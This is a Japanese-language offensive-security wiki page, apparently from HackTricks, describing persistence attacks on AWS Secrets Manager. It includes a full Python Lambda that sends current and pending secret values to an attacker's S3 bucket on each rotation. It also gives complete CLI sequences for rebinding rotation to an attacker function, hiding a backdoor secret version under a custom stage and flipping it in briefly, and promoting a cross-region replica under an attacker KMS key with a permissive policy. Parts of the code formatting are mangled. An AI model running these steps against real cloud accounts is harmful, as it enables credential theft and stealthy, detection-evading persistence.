AWS - Secrets Manager 永続化
{{#include ../../../../banners/hacktricks-training.md}}
Secrets Manager
詳細は以下を参照してください:
{{#ref}} ../../aws-services/aws-secrets-manager-enum.md {{#endref}}
リソースポリシー経由
リソースポリシーを使って、外部アカウントにシークレットへのアクセスを付与することが可能です。詳しくはSecrets Manager Privesc pageを確認してください。シークレットにアクセスするためには、外部アカウントがシークレットを暗号化しているKMSキーへのアクセスも必要である点に注意してください。
Secrets Rotate Lambda経由
シークレットを自動でrotate secretsするために、設定されたLambdaが呼び出されます。攻撃者がchangeしてcodeを改変できれば、新しいシークレットを直接exfiltrate the new secretすることが可能になります。
このような処理を行うLambda codeの例は次の通りです:
import boto3
def rotate_secrets(event, context):
# Create a Secrets Manager client
client = boto3.client('secretsmanager')
# Retrieve the current secret value
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
# Rotate the secret by updating its value
new_secret_value = rotate_secret(secret_value)
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
def rotate_secret(secret_value):
# Perform the rotation logic here, e.g., generate a new password
# Example: Generate a new password
new_secret_value = generate_password()
return new_secret_value
def generate_password():
# Example: Generate a random password using the secrets module
import secrets
import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password
RotateSecret を使ってローテーション用 Lambda を攻撃者制御の関数に差し替える
secretsmanager:RotateSecret を悪用してシークレットを攻撃者制御の rotation Lambda に再バインドし、即時ローテーションをトリガーします。悪意ある関数はローテーションの各ステップ(createSecret/setSecret/testSecret/finishSecret)の間にシークレットのバージョン(AWSCURRENT/AWSPENDING)を攻撃者の受け皿(例: S3 や外部 HTTP)へ exfiltrate します。
-
要件
-
権限:
secretsmanager:RotateSecret、攻撃者 Lambda に対するlambda:InvokeFunction、Lambda 実行ロールをプロビジョニングするためのiam:CreateRole/PassRole/PutRolePolicy(または AttachRolePolicy)でロールにsecretsmanager:GetSecretValue(可能ならsecretsmanager:PutSecretValue)、secretsmanager:UpdateSecretVersionStage(ローテーション継続のため)、シークレットの KMS キーに対する KMSkms:Decrypt、および exfiltration 用のs3:PutObject(または外部への送信許可)。 -
ローテーションが有効になっている、または有効化できる対象の Secret id (
SecretId)。 -
影響
-
攻撃者は正規のローテーションコードを変更せずにシークレット値を取得できます。ローテーション設定のみを攻撃者の Lambda を指すように変更します。検出されなければ、今後スケジュールされたローテーションも攻撃者の関数を呼び続けます。
-
攻撃手順 (CLI)
- 攻撃者の受け皿と Lambda 実行ロールを準備する
- exfiltration 用の S3 バケットを作成し、Lambda に信頼された実行ロールを作成してシークレットを読み取り S3 に書き込む権限(必要に応じてログ/KMS 権限も)を付与する。
- 攻撃者 Lambda をデプロイする
- 各ローテーションステップでシークレット値を取得して S3 に書き込む攻撃者 Lambda をデプロイする。最小限のローテーションロジックは AWSCURRENT を AWSPENDING にコピーし、finishSecret で昇格させるだけでサービスを維持できる。
- ローテーションを再バインドしてトリガーする
aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately
- そのシークレットの S3 プレフィックスを列挙し JSON アーティファクトを確認して exfiltration を検証する。
- (オプション)検出を抑えるため元のローテーション Lambda を復元する。
- S3 に exfiltrate する攻撃者 Lambda (Python) の例
- Environment:
EXFIL_BUCKET=<bucket> - Handler:
lambda_function.lambda_handler
import boto3, json, os, base64, datetime
s3 = boto3.client('s3')
sm = boto3.client('secretsmanager')
BUCKET = os.environ['EXFIL_BUCKET']
def write_s3(key, data):
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
def lambda_handler(event, context):
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
# Exfil both stages best-effort
def getv(**kw):
try:
r = sm.get_secret_value(**kw)
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
except Exception as e:
return {'error': str(e)}
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
key = f"{sid.replace(':','_')}/{step}/{token}.json"
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
Secrets Manager のバージョンステージラベルを悪用して、攻撃者が制御するシークレットのバージョンを仕込み、production が元の AWSCURRENT を使い続ける間にカスタムステージ(例: ATTACKER)の下に隠しておきます。任意のタイミングで AWSCURRENT を攻撃者のバージョンに移して依存するワークロードを汚染し、その後すぐに元に戻して検出を最小化します。これにより、シークレット名やローテーション設定を変更せずに、ステルスなバックドア永続化と迅速な使用時操作が可能になります。
-
要件
-
必要な権限:
secretsmanager:PutSecretValue,secretsmanager:UpdateSecretVersionStage,secretsmanager:DescribeSecret,secretsmanager:ListSecretVersionIds,secretsmanager:GetSecretValue(検証用) -
対象の secret id(対象リージョン)
-
影響
-
シークレットの攻撃者制御のバージョンを隠して保持し、必要に応じて原子的に
AWSCURRENTをそれに切り替えることで、同じシークレット名を解決するすべての利用者に影響を与えます。切り替えと即時のリバートにより検知される可能性を下げつつ、使用時点での乗っ取りを可能にします。 -
攻撃手順 (CLI)
-
準備
-
export SECRET_ID=<target secret id or arn>
CLI コマンド
```bash # 1) Capture current production version id (the one holding AWSCURRENT) CUR=$(aws secretsmanager list-secret-version-ids \ --secret-id "$SECRET_ID" \ --query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \ --output text)2) Create attacker version with known value (this will temporarily move AWSCURRENT)
BACKTOK=$(uuidgen)
aws secretsmanager put-secret-value
--secret-id "$SECRET_ID"
--client-request-token "$BACKTOK"
--secret-string {backdoor:hunter2!}
3) Restore production and hide attacker version under custom stage
aws secretsmanager update-secret-version-stage
--secret-id "$SECRET_ID"
--version-stage AWSCURRENT
--move-to-version-id "$CUR"
--remove-from-version-id "$BACKTOK"
aws secretsmanager update-secret-version-stage
--secret-id "$SECRET_ID"
--version-stage ATTACKER
--move-to-version-id "$BACKTOK"
Verify stages
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
4) On-demand flip to the attacker’s value and revert quickly
aws secretsmanager update-secret-version-stage
--secret-id "$SECRET_ID"
--version-stage AWSCURRENT
--move-to-version-id "$BACKTOK"
--remove-from-version-id "$CUR"
Validate served plaintext now equals the attacker payload
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
Revert to reduce detection
aws secretsmanager update-secret-version-stage
--secret-id "$SECRET_ID"
--version-stage AWSCURRENT
--move-to-version-id "$CUR"
--remove-from-version-id "$BACKTOK"
</details>
- 注記
- `--client-request-token` を指定すると、Secrets Manager はそれを `VersionId` として使用します。`--version-stages` を明示的に設定せずに新しいバージョンを追加すると、デフォルトで `AWSCURRENT` が新しいバージョンに移動し、以前のものが `AWSPREVIOUS` としてマークされます。
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
Secrets Manager の multi-Region replication を悪用して、ターゲット secret のレプリカを監視の緩い Region に作成し、その Region の attacker 制御の KMS キーで暗号化します。次にレプリカをスタンドアロンの secret に promote し、attacker に読み取りアクセスを付与する permissive resource policy をアタッチします。primary Region にある元の secret は変更されないため、promoted replica を介して secret 値への持続的かつステルスなアクセスを確保し、primary の KMS/ポリシー制約を回避できます。
- 要件
- 権限: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- replica Region では: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (または `kms:PutKeyPolicy`) が必要で、attacker principal に対して `kms:Decrypt` を許可できること。
- promoted secret に対して読み取りアクセスを受け取る attacker principal (user/role)。
- 影響
- attacker-controlled の KMS CMK および permissive resource policy 下のスタンドアロンレプリカを介した、secret 値への持続的なクロス-Region アクセス経路。元の Region にある primary secret は変更されません。
- 攻撃(CLI)
- 変数
```bash
export R1=<primary-region> # e.g., us-east-1
export R2=<replica-region> # e.g., us-west-2
export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
- レプリカ Region に攻撃者が制御する KMS キーを作成する
cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
]}
JSON
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
--query KeyMetadata.KeyId --output text)
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
- attacker KMS key を使用してシークレットを R2 に複製する
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
- R2でレプリカをスタンドアロンに昇格させる
# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
- R2 の単独のシークレットに対して許容的なリソースポリシーを添付する
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
- R2 の attacker principal から secret を読み取る
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
{{#include ../../../../banners/hacktricks-training.md}}